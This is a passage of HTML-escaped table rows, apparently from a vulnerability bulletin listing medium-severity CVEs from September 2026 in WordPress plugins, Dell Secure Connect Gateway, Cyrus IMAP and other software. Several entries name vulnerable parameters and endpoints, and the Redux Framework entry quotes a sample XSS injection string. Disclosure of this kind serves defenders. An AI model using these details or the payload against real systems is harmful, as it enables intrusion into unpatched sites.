&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-12145&quot; target=&quot;_blank&quot;&gt;CVE-2024-12145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;builderall--Builderall for WordPress&lt;/td&gt;
&lt;td&gt;The Builderall for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;bg_video_service_url&#039; Setting in all versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15796&quot; target=&quot;_blank&quot;&gt;CVE-2026-15796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;builderall--Builderall for WordPress&lt;/td&gt;
&lt;td&gt;The Builderall for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Photo Module &#039;attributes&#039; Setting in all versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15820&quot; target=&quot;_blank&quot;&gt;CVE-2026-15820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;builderall--Builderall for WordPress&lt;/td&gt;
&lt;td&gt;The Builderall Cheetah For Wp plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the disable() function in versions up to, and including, 3.0.2. The wp_ajax_ba_cheetah_disable AJAX handler is registered without any capability or nonce verification, and the target post_id is sourced directly from user-controlled $_POST[&#039;ba_cheetah_data&#039;][&#039;post_id&#039;]. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disable the page builder layout on arbitrary posts by setting the _ba_cheetah_enabled post meta to false, including on posts owned by other users.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15823&quot; target=&quot;_blank&quot;&gt;CVE-2026-15823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo fails to clean up channel permission overrides when a user&#039;s last organization role binding is deleted, leaving stale overrides active. Attackers can retain channel-specific permissions after their base RBAC access has been revoked to perform unauthorized actions like changing production OTA versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88860&quot; target=&quot;_blank&quot;&gt;CVE-2026-88860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--ANJIA AJL33PC0801 Firmware&lt;/td&gt;
&lt;td&gt;The ANJIA AJL33PC0801 IP camera uses a hard-coded credential for bootloader authentication. An attacker with physical access to the device may leverage this weakness to gain privileged bootloader access, allowing unauthorized modification of firmware and system configuration and potentially resulting in complete device compromise.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85083&quot; target=&quot;_blank&quot;&gt;CVE-2026-85083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cbutlerjr--WP-Members Membership Plugin&lt;/td&gt;
&lt;td&gt;The WP-Members Membership Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL Query String in all versions up to, and including, 3.5.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Successful exploitation requires the victim to first visit the attacker-crafted URL and then click the Terms of Service link rendered on the resulting registration page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84960&quot; target=&quot;_blank&quot;&gt;CVE-2026-84960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chamilo--chamilo-lms&lt;/td&gt;
&lt;td&gt;Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint. Attackers can submit crafted answers containing unescaped HTML rendered in reporting views to execute arbitrary scripts in the browser sessions of teachers or administrators, enabling persistent backdoor account creation by exploiting the victim&#039;s authenticated session.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82535&quot; target=&quot;_blank&quot;&gt;CVE-2026-82535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CleanTalk--CleanTalk&lt;/td&gt;
&lt;td&gt;The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress&#039;s shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19855&quot; target=&quot;_blank&quot;&gt;CVE-2026-19855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Hospital Information System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in code-projects Hospital Information System 1.0. Affected by this vulnerability is an unknown functionality of the file /HIS/his.sql of the component SQL Database Backup File Handler. Performing a manipulation results in information disclosure. Remote exploitation of the attack is possible. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86302&quot; target=&quot;_blank&quot;&gt;CVE-2026-86302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Student Crud Operation&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in code-projects Student Crud Operation 1.0. This affects an unknown function of the file /edit.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86518&quot; target=&quot;_blank&quot;&gt;CVE-2026-86518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Student Crud Operation&lt;/td&gt;
&lt;td&gt;A vulnerability was found in code-projects Student Crud Operation 1.0. This impacts an unknown function of the file /card_activation.sql of the component Backup File Handler. The manipulation results in information disclosure. The attack can be launched remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86519&quot; target=&quot;_blank&quot;&gt;CVE-2026-86519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;codesupplyco--Powerkit Supercharge your WordPress Site&lt;/td&gt;
&lt;td&gt;The Powerkit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Lazy Load module&#039;s image processing in all versions up to, and including, 3.0.4. This is due to the &#039;content_process_images&#039; function using a flawed regex-based HTML attribute parser. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2390&quot; target=&quot;_blank&quot;&gt;CVE-2026-2390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cole--aiosmtplib&lt;/td&gt;
&lt;td&gt;aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, allowing attackers to inject ESMTP parameters into MAIL FROM and RCPT TO command lines. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters like AUTH, NOTIFY, or ORCPT to envelope commands, forging authenticated identities or forcing delivery notifications to third parties.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90467&quot; target=&quot;_blank&quot;&gt;CVE-2026-90467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;comesio--Relevanssi A Better Search&lt;/td&gt;
&lt;td&gt;The Relevanssi - A Better Search plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 4.28.1 via the &#039;s&#039;, &#039;post_types&#039;, and &#039;orderby&#039; request parameters. This is due to insufficient input sanitization and output escaping in the relevanssi_debug_array() function in lib/debug.php, which dumps user-supplied query variables through print_r() inside a &amp;lt;pre&amp;gt; block without HTML escaping. The debug path is enabled by supplying the relevanssi_debug=on request parameter when the administrator has previously enabled the &#039;Debugging mode&#039; setting; the gate itself is a configuration check with no capability, nonce, or logged-in check (the vendor explicitly suppresses nonce verification on that line). This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19985&quot; target=&quot;_blank&quot;&gt;CVE-2026-19985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;conda--rattler_cache&lt;/td&gt;
&lt;td&gt;Rattler is a library that provides common functionality used within the conda ecosystem. `rattler_cache` prior to version 0.9.0 and `py-rattler` prior to version 0.24.0 were vulnerable to package-cache path traversal when handling package metadata from conda channels. During cache materialization, the `ratter_cache` code used the package record `build` string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that field, causing package contents to be written outside the configured package cache directory. The issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form. Users should upgrade to `rattler_cache` version 0.9.0 or `py-rattler` version 0.24.0 and avoid untrusted conda channels.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53956&quot; target=&quot;_blank&quot;&gt;CVE-2026-53956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contact Form 7 Captcha--Contact Form 7 Captcha&lt;/td&gt;
&lt;td&gt;The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85117&quot; target=&quot;_blank&quot;&gt;CVE-2026-85117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cookies--cookies&lt;/td&gt;
&lt;td&gt;cookies is a Node.js library for reading and writing HTTP cookies, used by Koa via ctx.cookies. In versions before 0.9.2 the library validates the cookie name and value against character sets that reject the semicolon separator, but the domain and path options are checked only against a permissive RFC 7230 field-content matcher that allows semicolons, and both are written into the Set-Cookie header unescaped. An application that passes untrusted or request-derived data into the domain or path option can therefore inject additional cookie attributes, overriding SameSite, Secure, HttpOnly, or Domain on the cookies the application issues. This is a Set-Cookie attribute injection issue (CWE-74). The issue is fixed in cookies 0.9.2, which validates domain and path against RFC 6265 character sets. As a workaround, keep domain and path application-set rather than derived from untrusted input.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88038&quot; target=&quot;_blank&quot;&gt;CVE-2026-88038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS versions 5.0.0-RC1 through 5.10.11 are missing an admin-target guard in UsersController::actionActivateUser (the users/activate-user action). While the action requires the administrateUsers permission, it does not call requireAdmin() when the targeted user is an administrator, unlike the mirror action actionDeactivateUser. As a result, an authenticated control panel user who is not an administrator but holds the administrateUsers permission can activate a pending or deliberately deactivated administrator account, which can lead to permission escalation when combined with resetting that account&#039;s password. The issue is fixed in Craft CMS 5.10.12.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86731&quot; target=&quot;_blank&quot;&gt;CVE-2026-86731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cssimmon--WP BackItUp Community Edition&lt;/td&gt;
&lt;td&gt;The WP BackItUp Community Edition plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.1.0 via the &#039;backup_file&#039; parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. The basename() normalization present in the handler only executes when the traversed target path does not exist, providing no protection against reads of existing files.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18386&quot; target=&quot;_blank&quot;&gt;CVE-2026-18386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CyberPanel--CyberPanel&lt;/td&gt;
&lt;td&gt;CyberPanel before 2.4.4 omits a &quot;return 0&quot; that is required by the business logic.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-29810&quot; target=&quot;_blank&quot;&gt;CVE-2026-29810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CyberPanel--CyberPanel&lt;/td&gt;
&lt;td&gt;CyberPanel before 2.4.4 has no logging for actions that could potentially manipulate the child domains list.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-29812&quot; target=&quot;_blank&quot;&gt;CVE-2026-29812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cym1102--nginxWebUI&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in cym1102 nginxWebUI up to 4.4.2. This issue affects the function MainController.autoUpdate of the file /adminPage/main/autoUpdate. This manipulation of the argument url causes code injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90581&quot; target=&quot;_blank&quot;&gt;CVE-2026-90581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyrusimap--Cyrus IMAP&lt;/td&gt;
&lt;td&gt;An issue was discovered in Cyrus IMAP before 3.12.4. JMAP snooze bypasses the destination-mailbox ACL. An authenticated user with insert permissions on another user&#039;s snoozed mailbox could cause insertion of mail to that user&#039;s inbox, or any other of their mailboxes whose id was known to the user, despite having no insert permissions to the target mailbox.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61907&quot; target=&quot;_blank&quot;&gt;CVE-2026-61907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyrusimap--Cyrus IMAP&lt;/td&gt;
&lt;td&gt;An issue was discovered in Cyrus IMAP before 3.12.4. There is a Sieve mailbox existence oracle. An authenticated user could install a Sieve script that probed whether another user&#039;s private mailbox existed, or read the value of shared mailbox annotations, by observing which fileinto branch fired during LMTP delivery.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61911&quot; target=&quot;_blank&quot;&gt;CVE-2026-61911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyrusimap--Cyrus IMAP&lt;/td&gt;
&lt;td&gt;An issue was discovered in Cyrus IMAP before 3.12.4. There is a VPATCH BYPARAM double-free. An authenticated calendar user could crash a Cyrus CalDAV worker with a PATCH containing PATCH-ACTION=&quot;BYPARAM@...&quot; against a resource with two or more properties of the matched kind. The memory holding the selector would be freed once on each iteration over the properties.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61915&quot; target=&quot;_blank&quot;&gt;CVE-2026-61915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;davenardella--snap7&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in davenardella snap7 up to 1.4.3. The affected element is the function TSnap7MicroClient::opUpload of the file src/core/s7_micro_client.cpp. Executing a manipulation of the argument DataLen can lead to memory corruption. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90572&quot; target=&quot;_blank&quot;&gt;CVE-2026-90572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;davidanderson--Redux Framework&lt;/td&gt;
&lt;td&gt;The Redux Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Slider field in User Profile settings in versions up to and including 4.5.13.1. This is due to insufficient input sanitization in the user_meta_save() function (which only sanitizes array values, not scalar values) and improper output escaping in the Redux_Slider::render() method, which outputs slider values into unquoted HTML attributes. The vulnerability also exploits the fact that the clean_default() method only casts values to numeric types when they are empty or out of bounds, allowing malicious strings like &#039;1 tabindex=0 autofocus onfocus=alert(1) x=&#039; to pass validation through PHP&#039;s loose type comparison. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts into their user profile that will execute whenever an Administrator navigates to view the attacker&#039;s profile page.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5399&quot; target=&quot;_blank&quot;&gt;CVE-2026-5399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--PowerScale OneFS&lt;/td&gt;
&lt;td&gt;Dell PowerScale OneFS, Versions 9.5.0.0 through 9.7.1.0, Versions 9.8.0.0 through 9.10.1.0, and Versions 9.11.0.0 through 9.14.0.1, contain a command injection vulnerability. An admin privileged local attacker could potentially exploit this vulnerability, leading to elevation of privileges to root, impacting confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70425&quot; target=&quot;_blank&quot;&gt;CVE-2026-70425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--PowerScale OneFS&lt;/td&gt;
&lt;td&gt;Dell PowerScale OneFS versions 9.12.0.0 through 9.13.1.0 contain an Insecure Temporary File vulnerability. A low privileged remote attacker could potentially exploit this vulnerability, leading to denial of service and information tampering.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40635&quot; target=&quot;_blank&quot;&gt;CVE-2026-40635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78481&quot; target=&quot;_blank&quot;&gt;CVE-2026-78481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to command execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78488&quot; target=&quot;_blank&quot;&gt;CVE-2026-78488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79728&quot; target=&quot;_blank&quot;&gt;CVE-2026-79728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Unsynchronized Access to Shared Data in a Multithreaded Context vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79973&quot; target=&quot;_blank&quot;&gt;CVE-2026-79973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Authentication vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79974&quot; target=&quot;_blank&quot;&gt;CVE-2026-79974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Locking vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80126&quot; target=&quot;_blank&quot;&gt;CVE-2026-80126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Authentication vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80128&quot; target=&quot;_blank&quot;&gt;CVE-2026-80128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80129&quot; target=&quot;_blank&quot;&gt;CVE-2026-80129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80170&quot; target=&quot;_blank&quot;&gt;CVE-2026-80170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
